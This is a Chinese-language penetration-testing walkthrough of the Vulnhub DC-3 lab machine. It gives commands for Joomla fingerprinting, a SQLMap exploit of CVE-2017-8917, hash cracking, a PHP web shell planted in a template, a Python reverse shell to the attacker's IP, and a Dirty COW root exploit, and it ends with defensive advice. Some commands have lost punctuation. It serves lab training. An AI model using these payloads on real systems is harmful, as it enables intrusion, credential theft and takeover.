Vulnhub 之 DC-3 靶场渗透实战全记录 1. 靶场简介与环境准备DC-3 是 Vulnhub 平台上由 DCAU 团队制作的一个中高难度渗透测试靶场目标是从一个仅开放 Web 服务的 Joomla 站点出发逐步获取系统权限并最终拿到 root 权限。该靶场只有一个 flag位于 root 目录下适合练习 Web 漏洞利用、CMS 指纹识别、内核提权等技能。在开始之前需要准备以下环境攻击机Kali Linux用于信息收集、漏洞利用和权限提升。靶机DC-3 虚拟机镜像导入 VMware 或 VirtualBox网络模式设置为 NAT 或 Host-Only确保与攻击机互通。工具Nmap、Dirb / Gobuster、Joomscan、SQLMap、Metasploit、Burp Suite 等。靶机启动后通过 Nmap 扫描确认目标 IP 地址例如nmap -sV -sC -O 192.168.1.0/24扫描结果通常显示目标仅开放 80 端口运行 Apache 和 PHP并识别出 Joomla CMS。2. 信息收集与指纹识别首先使用 Nmap 对目标进行详细扫描确认开放端口和服务版本nmap -sV -sC -p- 192.168.1.10扫描结果显示目标仅开放 80 端口运行 Apache 2.4.18 和 PHP 7.0。访问首页后可以看到一个 Joomla 站点但页面内容较为简单没有明显的交互功能。接下来使用 Dirb 或 Gobuster 进行目录扫描寻找后台入口和敏感文件gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html扫描结果中值得关注的路径包括/administratorJoomla 后台登录入口。/README.txt可能包含 Joomla 版本信息。/configuration.php配置文件通常不可直接访问。通过访问/README.txt或使用 Joomscan 工具可以进一步确认 Joomla 的精确版本号joomscan -u http://192.168.1.10Joomscan 扫描结果显示目标运行的是 Joomla 3.7.0该版本存在一个已知的 SQL 注入漏洞编号为 CVE-2017-8917这是后续攻击的关键突破口。3. 漏洞利用SQL 注入获取敏感信息Joomla 3.7.0 的 SQL 注入漏洞位于/index.php?optioncom_fields的list[fullordering]参数中。攻击者可以通过构造恶意请求利用该参数进行基于时间的盲注从而提取数据库中的敏感信息。首先使用 SQLMap 对目标进行自动化注入检测sqlmap -u http://192.168.1.10/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --batch --dbsSQLMap 成功识别出注入点并枚举出数据库列表。其中joomladb是 Joomla 的主数据库包含用户、会话等关键表。接下来提取数据库中的用户表sqlmap -u http://192.168.1.10/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --batch -D joomladb --tables重点关注#__users表提取管理员用户的用户名和密码哈希sqlmap -u http://192.168.1.10/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --batch -D joomladb -T #__users --dump成功获取到管理员用户名admin以及对应的密码哈希。该哈希是 Joomla 使用的加盐 MD5 格式需要进一步破解才能获得明文密码。4. 破解密码并登录后台将获取到的密码哈希保存到本地文件使用 John the Ripper 或 Hashcat 进行离线破解。Joomla 的密码哈希格式通常为$2y$10$...bcrypt或加盐 MD5需要根据实际格式选择合适的破解模式。echo admin:$2y$10$... hash.txt john --wordlist/usr/share/wordlists/rockyou.txt hash.txt如果哈希是加盐 MD5 格式可以使用 Hashcat 的 Joomla 专用模式hashcat -m 11 hash.txt /usr/share/wordlists/rockyou.txt破解成功后使用获取到的管理员账号密码登录 Joomla 后台http://192.168.1.10/administrator登录后台后可以通过修改模板文件或上传恶意插件的方式获取 Web Shell进而实现远程代码执行。5. 获取 Web Shell 与反弹 Shell登录 Joomla 后台后进入「扩展」→「模板」→「模板管理」选择当前使用的模板如 Beez3编辑其index.php文件在文件末尾插入一句话木马?php system($_GET[cmd]); ?保存后通过访问模板文件并传递命令参数即可验证 Web Shell 是否生效curl http://192.168.1.10/templates/beez3/index.php?cmdid确认命令执行成功后使用反弹 Shell 获取交互式会话。在攻击机上开启监听nc -lvnp 4444然后通过 Web Shell 执行反弹命令curl http://192.168.1.10/templates/beez3/index.php?cmdpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\192.168.1.20\,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\/bin/sh\,\-i\])成功获取到www-data权限的反弹 Shell接下来需要进行系统信息收集和权限提升。6. 系统信息收集与提权分析获取初始 Shell 后首先进行系统信息收集确认内核版本、操作系统发行版和当前用户权限uname -a cat /etc/issue id系统信息显示目标运行 Ubuntu 16.04内核版本为 4.4.0-21-generic。该内核版本存在多个已知的本地提权漏洞其中最常用的是 Dirty COWCVE-2016-5195。进一步检查系统上是否存在可利用的漏洞searchsploit ubuntu 16.04 4.4.0Searchsploit 列出了多个适用于该内核版本的提权漏洞利用代码包括 Dirty COW 的多个变种。接下来需要将利用代码上传到目标机器并编译执行。7. 内核提权Dirty COW 获取 RootDirty COWCVE-2016-5195是 Linux 内核中的一个竞态条件漏洞允许低权限用户写入只读文件从而覆盖系统文件或获取 root 权限。该漏洞影响 Linux 内核 2.6.22 至 4.8.3 版本目标系统内核 4.4.0 正好在受影响范围内。在攻击机上准备 Dirty COW 的利用代码例如dirty.c然后通过 Python HTTP 服务或直接使用wget上传到目标机器cd /tmp wget http://192.168.1.20/dirty.c gcc -pthread dirty.c -o dirty -lcrypt编译成功后运行利用程序它会创建一个新的 root 用户并设置密码./dirty password利用程序执行完成后切换到新创建的 root 用户su firefart id确认当前用户为 root 后即可读取最终的 flag 文件cat /root/flag.txt成功获取到 DC-3 靶场的最终 flag渗透测试完成。8. 总结与防御建议DC-3 靶场的渗透路径可以总结为信息收集确认 Joomla 版本利用 SQL 注入漏洞提取管理员密码哈希破解密码登录后台通过模板修改获取 Web Shell最终利用 Dirty COW 内核漏洞完成提权。整个过程环环相扣对 Web 漏洞利用和内核提权能力有较高要求。从防御角度出发可以采取以下措施及时更新 CMSJoomla 3.7.0 的 SQL 注入漏洞在 3.7.1 中已被修复及时升级到最新版本可有效避免此类攻击。使用强密码管理员密码应足够复杂避免使用常见弱密码降低被暴力破解的风险。限制后台访问通过 IP 白名单或 VPN 限制/administrator后台的访问来源。及时修补内核Dirty COW 漏洞在 2016 年已被修复及时更新内核版本可有效防止内核提权攻击。最小化权限Web 服务应以低权限用户运行避免攻击者获取 Web Shell 后直接获得高权限。通过 DC-3 靶场的实战演练可以深入理解从 Web 漏洞到系统提权的完整攻击链同时也能更好地认识到及时更新和合理配置在安全防护中的重要性。